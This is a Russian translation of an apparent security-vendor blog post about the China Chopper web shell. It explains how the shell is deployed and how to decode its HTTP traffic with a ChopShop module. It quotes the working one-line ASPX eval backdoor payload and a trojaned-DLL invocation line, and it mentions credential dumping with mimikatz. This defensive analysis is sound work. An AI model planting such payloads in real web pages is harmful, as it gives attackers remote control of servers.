- Вступление Оболочка Chopper Web - это широко используемый бэкдор китайских и других злоумышленников...
- Декодирование с помощью ChopShop
- Последние мысли
- РЕКОМЕНДАЦИИ
Вступление
Оболочка Chopper Web - это широко используемый бэкдор китайских и других злоумышленников для удаленного доступа к скомпрометированному веб-серверу. Развертывание оболочки Chopper на сервере является довольно простым, поскольку полезная нагрузка сервера представляет собой одну строку, вставленную в любую страницу ASPX.
<% @ Page Language = "Jscript"%> <% eval (Request.Item [”password”], "unsafe");%>
Эта полезная нагрузка доступна на разных языках, включая ASP, ASPX, PHP, JSP и CFM. После установки злоумышленник может получить доступ к оболочке с помощью двоичного файла на стороне клиента Chopper.
CrowdStrike обнаружил еще один метод развертывания на серверах IIS, при котором злоумышленники загружают троянский файл DLL, «System.WebServices.dll». Этот файл DLL написан на C # и содержит несколько функций API Chopper. Затем злоумышленник может вызвать эти функции, вставив эту строку в любую страницу ASPX:
<% WebServices.InitalizeWebServices ("shell_password");%>
Злоумышленник может получить доступ к этому варианту веб-оболочки с помощью аналогичных методов, в том числе с помощью двоичного файла на стороне клиента Chopper. Преимущество этого метода развертывания позволяет веб-оболочке обходить методы обнаружения на основе хоста, которые ищут подозрительные функции, такие как 'eval'. Хотя развертывания Chopper могут различаться на хосте, шаблоны сетевого трафика, генерируемые веб-оболочкой, в основном не изменились.
Чоппер Сетевой трафик
Клиент веб-оболочки Chopper связывается по TCP с помощью HTTP-запросов POST. Анализ сетевого трафика пакетов прерывателя может выявить действия, намерения и последующие шаги злоумышленника.
Поскольку Chopper генерирует запрос POST для каждой команды, ручной анализ может быть утомительным, если злоумышленник очень активен. Другая проблема возникает, когда Chopper развертывается на веб-сервере за SSL, в результате чего весь трафик, генерируемый Chopper, шифруется.

Рисунок 1. Пример закодированной команды Chopper с ответом на дешифрованные HTTP
Декодирование с помощью ChopShop
Чтобы ускорить сортировку, мы используем ChopShop, инфраструктуру сетевого декодера, разработанную MITER. (Https://github.com/MITRECND/chopshop) , Платформа ChopShop может быть расширена за счет модулей, а выходные данные каждого модуля могут быть объединены в цепочку. Это уменьшает необходимость переписывать декодер для широко используемых протоколов. Это позволяет аналитику сосредоточиться на разработке модулей, специфичных для семейства вредоносных программ, без работы с базовыми протоколами.
Модуль декодирования Chopper, который я написал для ChopShop Framework, предназначен для связывания с модулями 'chop_ssl' и 'http'. Для декодирования трафика SSL модулю chop_ssl требуется закрытый ключ сервера в формате RSA. Я предоставил начальную версию этого модуля на нашей странице Github ( https://github.com/CrowdStrike/chopshop ).
webshell_chopper_decode (0.1) - требуется ChopLib 4.0 или выше: извлекать команды Wepperhell Chopper и выводить из HTTP-трафика. Требуется родительский модуль «http». Использование: webshell_chopper_decode [options] Опции: -h, --help показать это справочное сообщение и выйти -d, --dict_output Форматировать выходные данные в наборы dicts -c, --commands_only Только выводить команды прерывателя -o, --outputs_only Только выводить ответы чоппера -x, --extract_pe Пытается извлечь файлы pe из сессии
Примеры команд использования:
./chopshop –f chopper_traffic_ssl.pcap «chop_ssl -k privatekeyrsa.key | http | webshell_chopper_decode»> decoded_commands.txt ./chopshop –f chopper_traffic_http.pcap «http | webshell_chopper_decode -c"
Выходные данные модуля содержат все команды и ответы из оболочки Chopper. Модуль декодирует весь PCAP и разделяет каждый параметр команды 'z0', 'z1', 'z2' на отдельной строке. Эти параметры 'z' в данных формы содержат аргументы команд, которые передаются от клиента Chopper к полезной нагрузке сервера. Хотя команды кодируются в base64 или hex, ответы не кодируются.
В приведенном ниже примере вывода мы видим, что злоумышленник запускает командный файл 'dir', ищущий 'w3wp.exe' (переименованная версия cmd.exe) и затем выполняющий дампер учетных данных 'mimikatz' (с именем pwd.txt).
Рисунок 2. Пример части вывода из модуля декодирования, показывающий выполнение «mimikatz».
Портативные исполняемые (PE) файлы, используемые веб-оболочкой Chopper, анализируются в шестнадцатеричном формате, закодированном модулем. Модуль декодирования Chopper имеет возможность попытаться вырезать и сохранить любые PE-файлы в командах или ответах, замеченных во время сеанса C2 злоумышленника.
./chopshop -s. –F chopper_traffic_ssl.pcap "chop_ssl -k privatekeyrsa.key | http | webshell_chopper_decode –x"
Обратите внимание на добавление флага «-s», который необходимо установить, чтобы указать ChopShop, в какой каталог выводить сохраненные файлы.
… Chopper_extracted_file-1.bin сохранен .. [КОМАНДА] в 2015-02-24 07:03:05 UTC [Параметр Z0] - Q1 | [Параметр Z1] - \\ 192.168.1.11 \ c $ \ inetpub \ wwwroot \ Citrix \ XenApp \ bin \ System.WebServices.dll [Параметр Z2] -…
Рисунок 3. Вырезанный PE из трафика Чоппера, открытый в шестнадцатеричном редакторе.
Последние мысли
Благодаря тому, что Chopper доступен во многих разновидностях языков программирования и сценариев, этот модуль все еще находится в разработке, чтобы учесть различные варианты и крайние случаи. Цель этого модуля состояла в том, чтобы облегчить некоторую утомительную работу по извлечению информации из захвата большого пакета. С распространенностью использования Чоппера группами APT, способность быстро декодировать и понимать, что делает злоумышленник, значительно повышает ситуационную осведомленность реагирующих на инциденты.
Чтобы получить полный доступ к антивирусному решению следующего поколения CrowdStrike в течение 15 дней, посетите Falcon Prevent бесплатная пробная страница ,
РЕКОМЕНДАЦИИ
https://github.com/CrowdStrike/chopshop
https://github.com/MITRECND/chopshop
https://github.com/MITRECND/htpy
http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/decrypting-ssl-with-chopshop
https://www.fireeye.com/content/dam/legacy/resources/pdfs/fireeye-china-chopper-report.pdf
http://informationonsecurity.blogspot.com/2012/11/china-chopper-webshell.html